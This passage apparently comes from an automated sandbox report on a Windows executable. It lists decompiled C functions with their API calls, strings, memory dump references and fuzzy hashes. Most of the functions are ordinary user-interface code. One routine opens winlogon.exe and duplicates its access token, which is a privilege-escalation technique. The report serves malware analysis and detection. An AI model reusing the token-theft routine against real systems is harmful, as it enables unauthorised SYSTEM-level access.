					_t15 =  *_t11( &_v12);
				}
				FreeLibrary(_t23);
				if(_t20 == 0) {
					goto L5;
				} else {
					_t6 = _t15;
					goto L6;
				}
			}

0x0040314a
0x00403151
0x00403158
0x0040315a
0x00403162
0x00403166
0x00403190
0x00403190
0x00403198
0x00403199
0x0040319e
0x004031bb
0x004031a0
0x004031ad
0x004031b6
0x004031b6
0x0040319e
0x0040316e
0x00403176
0x0040317c
0x0040317f
0x0040317f
0x00403182
0x0040318a
0x00000000
0x0040318c
0x0040318c
0x00000000
0x0040318c

APIs

LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040315C
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 0040316E
FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403182
#17.COMCTL32(?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403190
MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 004031AD

Strings

comctl32.dll, xrefs: 00403145
Error, xrefs: 004031A2
InitCommonControlsEx, xrefs: 00403168
Error: Cannot load the common control classes., xrefs: 004031A7

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$AddressFreeLoadMessageProc
String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
API String ID: 2780580303-317687271
Opcode ID: 8a767b45678d51ce81ad3698ee4bc8fb41a4868eaadb3cd6c21e495a7a6e88df
Instruction ID: 155fb52d9805f4d7e0650ae201b0fcd9156dc3619c14d31e00ff2d1348fe2513
Opcode Fuzzy Hash: 8a767b45678d51ce81ad3698ee4bc8fb41a4868eaadb3cd6c21e495a7a6e88df
Instruction Fuzzy Hash: 5A01D672751201EAD3115FB4AC89F7B7EACDF4974AB00023AF505F51C0DA78DA01869C

Uniqueness

Uniqueness Score: -1.00%

Function 00404DA9, Relevance: 15.1, APIs: 10, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00404DA9(void* __edx, struct HWND__* _a4, signed int _a8) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				int _t50;
				long _t61;
				struct HDC__* _t63;
				intOrPtr _t65;
				intOrPtr _t68;
				struct HWND__* _t71;
				intOrPtr _t72;
				void* _t73;
				int _t74;
				int _t80;
				int _t83;

				_t73 = __edx;
				_v8 = 0;
				_v12 = 0;
				_t74 = GetSystemMetrics(0x11);
				_t80 = GetSystemMetrics(0x10);
				if(_t74 == 0 || _t80 == 0) {
					_t63 = GetDC(0);
					_t80 = GetDeviceCaps(_t63, 8);
					_t74 = GetDeviceCaps(_t63, 0xa);
					ReleaseDC(0, _t63);
				}
				GetWindowRect(_a4,  &_v44);
				if((_a8 & 0x00000004) != 0) {
					_t71 = GetParent(_a4);
					if(_t71 != 0) {
						_v28.left = _v28.left & 0x00000000;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						GetWindowRect(_t71,  &_v28);
						_t61 = _v28.left;
						_t72 = _v28.top;
						_t80 = _v28.right - _t61 + 1;
						_t74 = _v28.bottom - _t72 + 1;
						_v8 = _t61;
						_v12 = _t72;
					}
				}
				_t65 = _v44.right;
				if((_a8 & 0x00000001) == 0) {
					asm("cdq");
					_t83 = (_v44.left - _t65 + _t80 - 1 - _t73 >> 1) + _v8;
				} else {
					_t83 = 0;
				}
				_t68 = _v44.bottom;
				if((_a8 & 0x00000002) != 0) {
					L11:
					_t50 = 0;
					goto L12;
				} else {
					asm("cdq");
					_t50 = (_v44.top - _t68 + _t74 - 1 - _t73 >> 1) + _v12;
					if(_t50 >= 0) {
						L12:
						if(_t83 < 0) {
							_t83 = 0;
						}
						return MoveWindow(_a4, _t83, _t50, _t65 - _v44.left + 1, _t68 - _v44.top + 1, 1);
					}
					goto L11;
				}
			}

0x00404da9
0x00404dbc
0x00404dbf
0x00404dc6
0x00404dcc
0x00404dce
0x00404de1
0x00404deb
0x00404df2
0x00404df4
0x00404df4
0x00404e07
0x00404e0d
0x00404e18
0x00404e1c
0x00404e1e
0x00404e27
0x00404e28
0x00404e29
0x00404e2f
0x00404e31
0x00404e37
0x00404e41
0x00404e42
0x00404e43
0x00404e46
0x00404e46
0x00404e1c
0x00404e4d
0x00404e50
0x00404e5f
0x00404e66
0x00404e52
0x00404e52
0x00404e52
0x00404e6d
0x00404e70
0x00404e85
0x00404e85
0x00000000
0x00404e72
0x00404e7b
0x00404e80
0x00404e83
0x00404e87
0x00404e89
0x00404e8b
0x00404e8b
0x00404ea8
0x00404ea8
0x00000000
0x00404e83

APIs

GetSystemMetrics.USER32 ref: 00404DC2
GetSystemMetrics.USER32 ref: 00404DC8
GetDC.USER32(00000000), ref: 00404DD5
GetDeviceCaps.GDI32(00000000,00000008), ref: 00404DE6
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00404DED
ReleaseDC.USER32 ref: 00404DF4
GetWindowRect.USER32 ref: 00404E07
GetParent.USER32(?), ref: 00404E12
GetWindowRect.USER32 ref: 00404E2F
MoveWindow.USER32(?,?,00000000,?,?,00000001), ref: 00404E9E

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CapsDeviceMetricsRectSystem$MoveParentRelease
String ID:
API String ID: 2163313125-0
Opcode ID: 4dffefead20de85e77f0f51142770c5402b7e424f6febd7d4428018e65d0f7f4
Instruction ID: fcbc432c8b17a9ec8ea4481816a0c35ab2ad0e4d246cd47a42b035ba49fba047
Opcode Fuzzy Hash: 4dffefead20de85e77f0f51142770c5402b7e424f6febd7d4428018e65d0f7f4
Instruction Fuzzy Hash: D63197B1900219AFDB10DFB8CD84AEEBBB8EB44314F054179EE05B7291D674AD418B94

Uniqueness

Uniqueness Score: -1.00%

Function 00406398, Relevance: 14.0, APIs: 3, Strings: 5, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00406398(void* __eflags, wchar_t* _a4) {
				void* __esi;
				void* _t3;
				int _t6;

				_t3 = E00404AAA(_a4);
				if(_t3 != 0) {
					wcscpy(0x40fb90, _a4);
					wcscpy(0x40fda0, L"general");
					_t6 = GetPrivateProfileIntW(0x40fda0, L"rtl", 0, 0x40fb90);
					asm("sbb eax, eax");
					 *0x40fe28 =  ~(_t6 - 1) + 1;
					E00405F14(0x40fe30, L"charset", 0x3f);
					E00405F14(0x40feb0, L"TranslatorName", 0x3f);
					return E00405F14(0x40ff30, L"TranslatorURL", 0xff);
				}
				return _t3;
			}

0x0040639c
0x004063a4
0x004063b2
0x004063c2
0x004063d3
0x004063dc
0x004063eb
0x004063f0
0x00406401
0x00000000
0x0040641e
0x0040641f

APIs

Part of subcall function 00404AAA: GetFileAttributesW.KERNEL32(?,004063A1,?,00406458,00000000,?,00000000,00000208,?), ref: 00404AAE

wcscpy.MSVCRT ref: 004063B2
wcscpy.MSVCRT ref: 004063C2
GetPrivateProfileIntW.KERNEL32 ref: 004063D3

Part of subcall function 00405F14: GetPrivateProfileStringW.KERNEL32 ref: 00405F30

Strings

TranslatorURL, xrefs: 0040640B
TranslatorName, xrefs: 004063F7
general, xrefs: 004063B7
charset, xrefs: 004063E1
rtl, xrefs: 004063CD

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfilewcscpy$AttributesFileString
String ID: TranslatorName$TranslatorURL$charset$general$rtl
API String ID: 3176057301-2039793938
Opcode ID: 306b450fceaff8e5fb1a61115cabefaaa5d3384cfa9206dbc7cfbd8e55437a99
Instruction ID: e4db3026d56c82c297763cb3084dd600e002768b85b35a6fcc1e36585c673314
Opcode Fuzzy Hash: 306b450fceaff8e5fb1a61115cabefaaa5d3384cfa9206dbc7cfbd8e55437a99
Instruction Fuzzy Hash: E2F09032EA422276EA203321DC4BF2B2555CBD1B18F15417BBA08BA5D3DB7C580645ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADF1, Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E0040ADF1(signed short* __eax, void* __ecx) {
				void* _t2;
				signed short* _t3;
				void* _t7;
				void* _t8;
				void* _t10;

				_t3 = __eax;
				_t8 = __ecx;
				_t7 = 8;
				while(1) {
					_t2 =  *_t3 & 0x0000ffff;
					if(_t2 != 0x3c) {
						goto L3;
					}
					_push(_t7);
					_push(L"&lt;");
					L14:
					_t2 = memcpy(_t8, ??, ??);
					_t10 = _t10 + 0xc;
					_t8 = _t8 + _t7;
					L16:
					if( *_t3 != 0) {
						_t3 =  &(_t3[1]);
						continue;
					}
					return _t2;
					L3:
					if(_t2 != 0x3e) {
						if(_t2 != 0x22) {
							if((_t2 & 0x0000ffff) != 0xffffffb0) {
								if(_t2 != 0x26) {
									if(_t2 != 0xa) {
										 *_t8 = _t2;
										_t8 = _t8 + 2;
									} else {
										_push(_t7);
										_push(L"<br>");
										goto L14;
									}
								} else {
									_push(0xa);
									_push(L"&amp;");
									goto L11;
								}
							} else {
								_push(0xa);
								_push(L"&deg;");
								L11:
								_t2 = memcpy(_t8, ??, ??);
								_t10 = _t10 + 0xc;
								_t8 = _t8 + 0xa;
							}
						} else {
							_t2 = memcpy(_t8, L"&quot;", 0xc);
							_t10 = _t10 + 0xc;
							_t8 = _t8 + 0xc;
						}
					} else {
						_push(_t7);
						_push(L"&gt;");
						goto L14;
					}
					goto L16;
				}
			}

0x0040adf6
0x0040adf8
0x0040adfa
0x0040adfb
0x0040adfb
0x0040ae02
0x00000000
0x00000000
0x0040ae04
0x0040ae05
0x0040ae6d
0x0040ae6e
0x0040ae73
0x0040ae76
0x0040ae7f
0x0040ae83
0x0040ae86
0x00000000
0x0040ae86
0x0040ae8f
0x0040ae0c
0x0040ae10
0x0040ae1e
0x0040ae3b
0x0040ae4a
0x0040ae65
0x0040ae7a
0x0040ae7e
0x0040ae67
0x0040ae67
0x0040ae68
0x00000000
0x0040ae68
0x0040ae4c
0x0040ae4c
0x0040ae4e
0x00000000
0x0040ae4e
0x0040ae3d
0x0040ae3d
0x0040ae3f
0x0040ae53
0x0040ae54
0x0040ae59
0x0040ae5c
0x0040ae5c
0x0040ae20
0x0040ae28
0x0040ae2d
0x0040ae30
0x0040ae30
0x0040ae12
0x0040ae12
0x0040ae13
0x00000000
0x0040ae13
0x00000000
0x0040ae10

APIs

memcpy.MSVCRT ref: 0040AE28
memcpy.MSVCRT ref: 0040AE54
memcpy.MSVCRT ref: 0040AE6E

Strings

&, xrefs: 0040AE4E
", xrefs: 0040AE22
>, xrefs: 0040AE13
°, xrefs: 0040AE3F
<, xrefs: 0040AE05
<br>, xrefs: 0040AE68

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: &$°$>$<$"$<br>
API String ID: 3510742995-3273207271
Opcode ID: 5ac42ab936778c43cffeb329e7503942126618bb1fc858f85522d1c9693fd2c2
Instruction ID: 19d6e8f9099fa728be05f60bd268fa70c064aa74fae363856be53b9475c854a8
Opcode Fuzzy Hash: 5ac42ab936778c43cffeb329e7503942126618bb1fc858f85522d1c9693fd2c2
Instruction Fuzzy Hash: FE01D25AEC8320A5EA302055DC86F7B2514D7B2B51FA5013BB986392C1E2BD09A7A1DF

Uniqueness

Uniqueness Score: -1.00%

Function 004041EB, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 197
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004041EB(intOrPtr* __ecx, intOrPtr _a4, void* _a8, intOrPtr _a12) {
				struct HDWP__* _v8;
				intOrPtr* _v12;
				void _v534;
				short _v536;
				void* __ebx;
				void* __edi;
				intOrPtr _t42;
				intOrPtr* _t95;
				RECT* _t96;

				_t95 = __ecx;
				_v12 = __ecx;
				if(_a4 == 0x233) {
					_v536 = 0;
					memset( &_v534, 0, 0x208);
					DragQueryFileW(_a8, 0,  &_v536, 0x104);
					DragFinish(_a8);
					 *((intOrPtr*)( *_t95 + 4))(0);
					E00404923(0x104, _t95 + 0x1680,  &_v536);
					 *((intOrPtr*)( *_v12 + 4))(1);
					_t95 = _v12;
				}
				if(_a4 != 5) {
					if(_a4 != 0xf) {
						if(_a4 == 0x24) {
							_t42 = _a12;
							 *((intOrPtr*)(_t42 + 0x18)) = 0x1f4;
							 *((intOrPtr*)(_t42 + 0x1c)) = 0x12c;
						}
					} else {
						E00402EC8(_t95 + 0x40);
					}
				} else {
					_v8 = BeginDeferWindowPos(0xd);
					_t96 = _t95 + 0x40;
					E00402E22(_t96, _t44, 0x401, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 2, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x419, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x40f, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x40e, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x40d, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x3fb, 0, 0, 1, 1);
					E00402E22(_t96, _v8, 0x3fd, 0, 0, 1, 1);
					E00402E22(_t96, _v8, 0x402, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3e9, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3ea, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3ee, 1, 0, 0, 0);
					E00402E22(_t96, _v8, 0x3f3, 1, 0, 0, 0);
					E00402E22(_t96, _v8, 0x404, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3f6, 1, 0, 0, 0);
					EndDeferWindowPos(_v8);
					InvalidateRect( *(_t96 + 0x10), _t96, 1);
					_t95 = _v12;
				}
				return E00402CED(_t95, _a4, _a8, _a12);
			}

0x004041f9
0x00404205
0x00404208
0x00404217
0x0040421e
0x00404236
0x0040423f
0x0040424a
0x0040425f
0x0040426b
0x0040426e
0x0040426e
0x00404275
0x004043be
0x004043ce
0x004043d0
0x004043d3
0x004043da
0x004043da
0x004043c0
0x004043c3
0x004043c3
0x0040427b
0x0040428c
0x0040428f
0x00404295
0x004042a5
0x004042b8
0x004042cb
0x004042de
0x004042f1
0x00404304
0x00404317
0x0040432a
0x0040433d
0x00404350
0x00404363
0x00404376
0x00404389
0x0040439c
0x004043a4
0x004043af
0x004043b5
0x004043b5
0x004043f5

APIs

memset.MSVCRT ref: 0040421E
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00404236
DragFinish.SHELL32(?), ref: 0040423F

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

Part of subcall function 00402E22: GetDlgItem.USER32 ref: 00402E32
Part of subcall function 00402E22: GetClientRect.USER32 ref: 00402E44
Part of subcall function 00402E22: DeferWindowPos.USER32(?,?,00000000,?,?,?,?,00000004), ref: 00402EB4

BeginDeferWindowPos.USER32 ref: 0040427D
EndDeferWindowPos.USER32(?), ref: 004043A4
InvalidateRect.USER32(?,?,00000001), ref: 004043AF

Strings

$, xrefs: 004043CA

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: DeferWindow$DragRect$BeginClientFileFinishInvalidateItemQuerymemcpymemsetwcslen
String ID: $
API String ID: 2142561256-3993045852
Opcode ID: c61b63023b15630986e37261bc436ca147b25cc6efa51280a6e109230e3069b6
Instruction ID: d1d17b09954fcbdb96c5267886444c332edca9ead5b56a9d6021aa5aec52b2c2
Opcode Fuzzy Hash: c61b63023b15630986e37261bc436ca147b25cc6efa51280a6e109230e3069b6
Instruction Fuzzy Hash: F1518EB064011CBFEB126B52CDC9DBF7E6DEF45398F104065BA05792D1C6B84E05EAB4

Uniqueness

Uniqueness Score: -1.00%

Function 00405B81, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E00405B81(signed short __ebx) {
				signed int _t21;
				void* _t22;
				struct HINSTANCE__* _t25;
				signed int _t27;
				void* _t35;
				signed short _t39;
				signed int _t40;
				void* _t57;
				int _t61;
				void* _t62;
				int _t71;

				_t39 = __ebx;
				if( *0x41c470 == 0) {
					E00405ADF();
				}
				_t40 =  *0x41c468;
				_t21 = 0;
				if(_t40 <= 0) {
					L5:
					_t57 = 0;
				} else {
					while(_t39 !=  *((intOrPtr*)( *0x41c460 + _t21 * 4))) {
						_t21 = _t21 + 1;
						if(_t21 < _t40) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t57 =  *0x41c458 +  *( *0x41c464 + _t21 * 4) * 2;
				}
				L6:
				if(_t57 != 0) {
					L21:
					_t22 = _t57;
				} else {
					if((_t39 & 0x00010000) == 0) {
						if( *0x40fb90 == 0) {
							_push( *0x41c478 - 1);
							_push( *0x41c45c);
							_push(_t39);
							_t25 = E00405CE7();
							goto L15;
						} else {
							wcscpy(0x40fda0, L"strings");
							_t35 = E00405EDD(_t39,  *0x41c45c);
							_t62 = _t62 + 0x10;
							if(_t35 == 0) {
								L13:
								_t25 = GetModuleHandleW(0);
								_push( *0x41c478 - 1);
								_push( *0x41c45c);
								_push(_t39);
								goto L15;
							} else {
								_t61 = wcslen( *0x41c45c);
								if(_t61 == 0) {
									goto L13;
								}
							}
						}
					} else {
						_t25 = GetModuleHandleW(_t57);
						_push( *0x41c478 - 1);
						_push( *0x41c45c);
						_push(_t39 & 0x0000ffff);
						L15:
						_t61 = LoadStringW(_t25, ??, ??, ??);
						_t71 = _t61;
					}
					if(_t71 <= 0) {
						L20:
						_t22 = 0x40c4e8;
					} else {
						_t27 =  *0x41c46c;
						if(_t27 + _t61 + 2 >=  *0x41c470 ||  *0x41c468 >=  *0x41c474) {
							goto L20;
						} else {
							_t57 =  *0x41c458 + _t27 * 2;
							_t14 = _t61 + 2; // 0x2
							memcpy(_t57,  *0x41c45c, _t61 + _t14);
							 *( *0x41c464 +  *0x41c468 * 4) =  *0x41c46c;
							 *( *0x41c460 +  *0x41c468 * 4) = _t39;
							 *0x41c468 =  *0x41c468 + 1;
							 *0x41c46c =  *0x41c46c + _t61 + 1;
							if(_t57 != 0) {
								goto L21;
							} else {
								goto L20;
							}
						}
					}
				}
				return _t22;
			}

0x00405b81
0x00405b88
0x00405b8a
0x00405b8a
0x00405b8f
0x00405b96
0x00405b9b
0x00405bad
0x00405bad
0x00405b9d
0x00405b9d
0x00405ba8
0x00405bab
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405bab
0x00405be9
0x00405be9
0x00405baf
0x00405bb1
0x00405ce2
0x00405ce2
0x00405bb7
0x00405bbd
0x00405bf6
0x00405c4b
0x00405c4c
0x00405c52
0x00405c53
0x00000000
0x00405bf8
0x00405c02
0x00405c0e
0x00405c13
0x00405c18
0x00405c2c
0x00405c2e
0x00405c3b
0x00405c3c
0x00405c42
0x00000000
0x00405c1a
0x00405c25
0x00405c2a
0x00000000
0x00000000
0x00405c2a
0x00405c18
0x00405bbf
0x00405bc0
0x00405bcd
0x00405bce
0x00405bd7
0x00405c58
0x00405c5f
0x00405c61
0x00405c61
0x00405c63
0x00405cdb
0x00405cdb
0x00405c65
0x00405c65
0x00405c74
0x00000000
0x00405c84
0x00405c8a
0x00405c8d
0x00405c99
0x00405caf
0x00405cbd
0x00405cc8
0x00405cd4
0x00405cd9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405cd9
0x00405c74
0x00405c63
0x00405ce6

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
wcscpy.MSVCRT ref: 00405C02

Part of subcall function 00405EDD: memset.MSVCRT ref: 00405EF0
Part of subcall function 00405EDD: _itow.MSVCRT ref: 00405EFE

wcslen.MSVCRT ref: 00405C20
GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E
LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
memcpy.MSVCRT ref: 00405C99

Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B19
Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B37
Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B55
Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B73

Strings

strings, xrefs: 00405BF8

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
String ID: strings
API String ID: 3166385802-3030018805
Opcode ID: 484a3de7b2935987b64b240b2dbd95e532bbb3e4d7f0d1989cc78b1e10ca5163
Instruction ID: 6100db9a332bdf9cdae47e625800c2dd81fdb4e1827941160d8c77da4bb91491
Opcode Fuzzy Hash: 484a3de7b2935987b64b240b2dbd95e532bbb3e4d7f0d1989cc78b1e10ca5163
Instruction Fuzzy Hash: F0417A74188A149FEB149B54ECE5DB73376F785708720813AE802A72A1DB39AC46CF6C

Uniqueness

Uniqueness Score: -1.00%

Function 00401E44, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401E44(int _a4, int _a8, intOrPtr* _a12) {
				char _v8;
				void* _v12;
				void* __esi;
				void* _t18;
				intOrPtr* _t22;
				void* _t23;
				void* _t28;
				int _t37;
				intOrPtr* _t39;
				intOrPtr* _t40;

				_v8 = 0;
				_t18 = OpenProcess(0x2000000, 0, _a8);
				_v12 = _t18;
				if(_t18 == 0) {
					_t37 = GetLastError();
				} else {
					_t39 = _a4 + 0x800;
					_a8 = 0;
					E0040289F(_t39);
					_t22 =  *((intOrPtr*)(_t39 + 4));
					if(_t22 == 0) {
						_t23 = 0;
					} else {
						_t23 =  *_t22(_v12, 2,  &_a8);
					}
					if(_t23 == 0) {
						_t37 = GetLastError();
					} else {
						_a4 = _a8;
						E0040289F(_t39);
						_t40 =  *((intOrPtr*)(_t39 + 8));
						if(_t40 == 0) {
							_t28 = 0;
						} else {
							_t28 =  *_t40(_a4, 0x2000000, 0, 2, 1,  &_v8);
						}
						if(_t28 == 0) {
							_t37 = GetLastError();
						} else {
							 *_a12 = _v8;
							_t37 = 0;
						}
						CloseHandle(_a8);
					}
					CloseHandle(_v12);
				}
				return _t37;
			}

0x00401e59
0x00401e5c
0x00401e64
0x00401e67
0x00401ef9
0x00401e6d
0x00401e70
0x00401e76
0x00401e79
0x00401e7e
0x00401e83
0x00401e92
0x00401e85
0x00401e8e
0x00401e8e
0x00401e96
0x00401ee6
0x00401e98
0x00401e9b
0x00401e9e
0x00401ea3
0x00401ea8
0x00401ebb
0x00401eaa
0x00401eb7
0x00401eb7
0x00401ebf
0x00401ed3
0x00401ec1
0x00401ec7
0x00401ec9
0x00401ec9
0x00401ed8
0x00401ed8
0x00401eeb
0x00401eeb
0x00401f01

APIs

OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,winlogon.exe,?,00000000,winlogon.exe,00000000), ref: 00401E5C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401EF3

Part of subcall function 0040289F: LoadLibraryW.KERNEL32(advapi32.dll,?,00402271,?,?,00000000), ref: 004028AB
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,CreateProcessWithLogonW), ref: 004028C0
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,CreateProcessWithTokenW), ref: 004028CD
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 004028D9
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,DuplicateTokenEx), ref: 004028E6

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401ECD
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401ED8
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401EE0
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401EEB

Strings

winlogon.exe, xrefs: 00401E4B

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLast$CloseHandle$LibraryLoadOpenProcess
String ID: winlogon.exe
API String ID: 1315556178-961692650
Opcode ID: e4a5705fcdc82a33d7d09986f8f31284f2fb5d3fd113eab1cd0e790a40dcb407
Instruction ID: 37dd24dd8946aa7f8aa4240fd04c0d288f38f50501b3184a6b0aa07a3247aa85
Opcode Fuzzy Hash: e4a5705fcdc82a33d7d09986f8f31284f2fb5d3fd113eab1cd0e790a40dcb407
Instruction Fuzzy Hash: FB212932900114EFDB10AFA5CDC8AAE7BB5EB04350F14893AFE06F72A0D7749D41DA94

Uniqueness

Uniqueness Score: -1.00%

Function 00405236, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00405236(short* __ebx, intOrPtr _a4) {
				int _v8;
				char _v12;
				void _v2058;
				void _v2060;
				int _t35;
				int _t41;
				signed int _t48;
				signed int _t49;
				signed short* _t50;
				void** _t52;
				void* _t53;
				void* _t54;

				_t48 = 0;
				_v2060 = 0;
				memset( &_v2058, 0, 0x7fe);
				_t54 = _t53 + 0xc;
				 *__ebx = 0;
				_t52 = _a4 + 4;
				_v12 = 2;
				do {
					_push( *_t52);
					_t6 = _t52 - 4; // 0xe80040cb
					_push( *_t6);
					_push(L"%s (%s)");
					_push(0x400);
					_push( &_v2060);
					L0040B1EC();
					_t35 = wcslen( &_v2060);
					_v8 = _t35;
					memcpy(__ebx + _t48 * 2,  &_v2060, _t35 + _t35 + 2);
					_t49 = _t48 + _v8 + 1;
					_t41 = wcslen( *_t52);
					_v8 = _t41;
					memcpy(__ebx + _t49 * 2,  *_t52, _t41 + _t41 + 2);
					_t54 = _t54 + 0x34;
					_t52 =  &(_t52[2]);
					_t23 =  &_v12;
					 *_t23 = _v12 - 1;
					_t48 = _t49 + _v8 + 1;
				} while ( *_t23 != 0);
				_t50 = __ebx + _t48 * 2;
				 *_t50 =  *_t50 & 0x00000000;
				_t50[1] = _t50[1] & 0x00000000;
				return __ebx;
			}

0x00405241
0x00405250
0x00405257
0x0040525f
0x00405262
0x00405265
0x00405268
0x0040526f
0x0040526f
0x00405277
0x00405277
0x0040527a
0x0040527f
0x00405284
0x00405285
0x00405291
0x00405296
0x004052a9
0x004052b3
0x004052b7
0x004052bc
0x004052ca
0x004052d2
0x004052d5
0x004052d8
0x004052d8
0x004052db
0x004052db
0x004052e1
0x004052e4
0x004052e8
0x004052f2

APIs

memset.MSVCRT ref: 00405257
_snwprintf.MSVCRT ref: 00405285
wcslen.MSVCRT ref: 00405291
memcpy.MSVCRT ref: 004052A9
wcslen.MSVCRT ref: 004052B7
memcpy.MSVCRT ref: 004052CA

Strings

%s (%s), xrefs: 0040527A

Memory Dump Source

